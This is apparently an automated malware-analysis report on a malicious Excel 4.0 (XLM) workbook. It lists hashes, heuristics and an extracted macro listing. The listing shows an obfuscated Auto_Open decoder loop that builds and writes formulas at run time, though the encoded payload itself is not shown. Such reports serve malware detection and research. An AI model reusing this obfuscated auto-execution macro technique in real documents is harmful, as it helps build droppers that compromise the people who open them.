Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bc82f3e906ffc295…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:59 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 90800d4df90a2c4693168cdef4d894de SHA-1: 6891fa1133f07e5fd1354fc347528529f6fb349b SHA-256: bc82f3e906ffc2956430e0abee32c2b793cc376ac25a6a6d98376085adec0e26
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6417 bytes
SHA-256: 768f3f540c8a709aa05b9bd70bbdd142fcfcec2c78800e1ec3d88628a4523043
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  dZjT
' 0018     21 LABEL : Cell Value, String Constant - AkEAAR len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G164 
' 0018     26 LABEL : Cell Value, String Constant - aZnQPzHYSAo len=0 
' 0018     24 LABEL : Cell Value, String Constant - DzbOnyPIA len=0 
' 0018     20 LABEL : Cell Value, String Constant - eqUAY len=0 
' 0018     27 LABEL : Cell Value, String Constant - gKnlOrZpBvQS len=0 
' 0018     21 LABEL : Cell Value, String Constant - hhubmN len=0 
' 0018     25 LABEL : Cell Value, String Constant - hNlXmYlkHL len=0 
' 0018     22 LABEL : Cell Value, String Constant - iiMMTas len=0 
' 0018     21 LABEL : Cell Value, String Constant - IQbpef len=0 
' 0018     26 LABEL : Cell Value, String Constant - kgKJlHRPFkl len=0 
' 0018     26 LABEL : Cell Value, String Constant - kOZcXVtchyA len=0 
' 0018     27 LABEL : Cell Value, String Constant - kRNsWokknKpZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - lbXxP len=0 
' 0018     25 LABEL : Cell Value, String Constant - MRxpBJfQSG len=0 
' 0018     20 LABEL : Cell Value, String Constant - MzKst len=0 
' 0018     24 LABEL : Cell Value, String Constant - NqpafPfTJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - rnfmLBoVw len=0 
' 0018     23 LABEL : Cell Value, String Constant - TsXdMAxT len=0 
' 0018     23 LABEL : Cell Value, String Constant - uexegTPU len=0 
' 0018     25 LABEL : Cell Value, String Constant - UXjxINQQPe len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  dZjT,G70,"SET.NAME("gKnlOrZpBvQS",VALUE("0"))",""
'  dZjT,G75,"SET.NAME("MRxpBJfQSG",gKnlOrZpBvQS)",""
'  dZjT,G77,"SET.NAME("aZnQPzHYSAo",gKnlOrZpBvQS)",""
'  dZjT,G82,"SET.NAME("hNlXmYlkHL",COUNTA(TsXdMAxT))",""
'  dZjT,G87,"SET.NAME("kRNsWokknKpZ",COUNTA(kOZcXVtchyA))",""
'  dZjT,G91,[],""
'  dZjT,G93,"SET.NAME("MzKst","")",""
'  dZjT,G98,"MRxpBJfQSG",""
'  dZjT,G101,"SET.NAME("kgKJlHRPFkl",HLOOKUP("*",TsXdMAxT,MRxpBJfQSG,FALSE))",""
'  dZjT,G103,"eqUAY",""
'  dZjT,G107,"SET.NAME("uexegTPU",gKnlOrZpBvQS)",""
'  dZjT,G111,[],""
'  dZjT,G114,"uexegTPU",""
'  dZjT,G118,"lbXxP",""
'  dZjT,G120,"hhubmN",""
'  dZjT,G124,"IQbpef",""
'  dZjT,G127,"SET.NAME("UXjxINQQPe",VALUE(HLOOKUP("*",kOZcXVtchyA,IQbpef,FALSE)))",""
'  dZjT,G129,"rnfmLBoVw",""
'  dZjT,G132,"MzKst",""
'  dZjT,G137,"aZnQPzHYSAo",""
'  dZjT,G141,NEXT(),""
'  dZjT,G143,"NqpafPfTJ",""
'  dZjT,G148,"SET.NAME("f",INT(T(FORMULA(T(MzKst)&"",""&T(NqpafPfTJ)))))",""
'  dZjT,G151,"DzbOnyPIA",""
'  dZjT,G156,NEXT(),""
'  dZjT,G161,RETURN(),""
'  dZjT,G187,"SET.NAME("iiMMTas",G70)",""
'  dZjT,G191,"TsXdMAxT",""
'  dZjT,G196,"SET.NAME("kOZcXVtchyA",R80C14)",""
'  dZjT,G201,"SET.NAME("DzbOnyPIA",208)",""
'  dZjT,G203,"SET.NAME("AkEAAR",7)",""
'  dZjT,G207,iiMMTas(),""
'  dZjT,G208,HALT(),""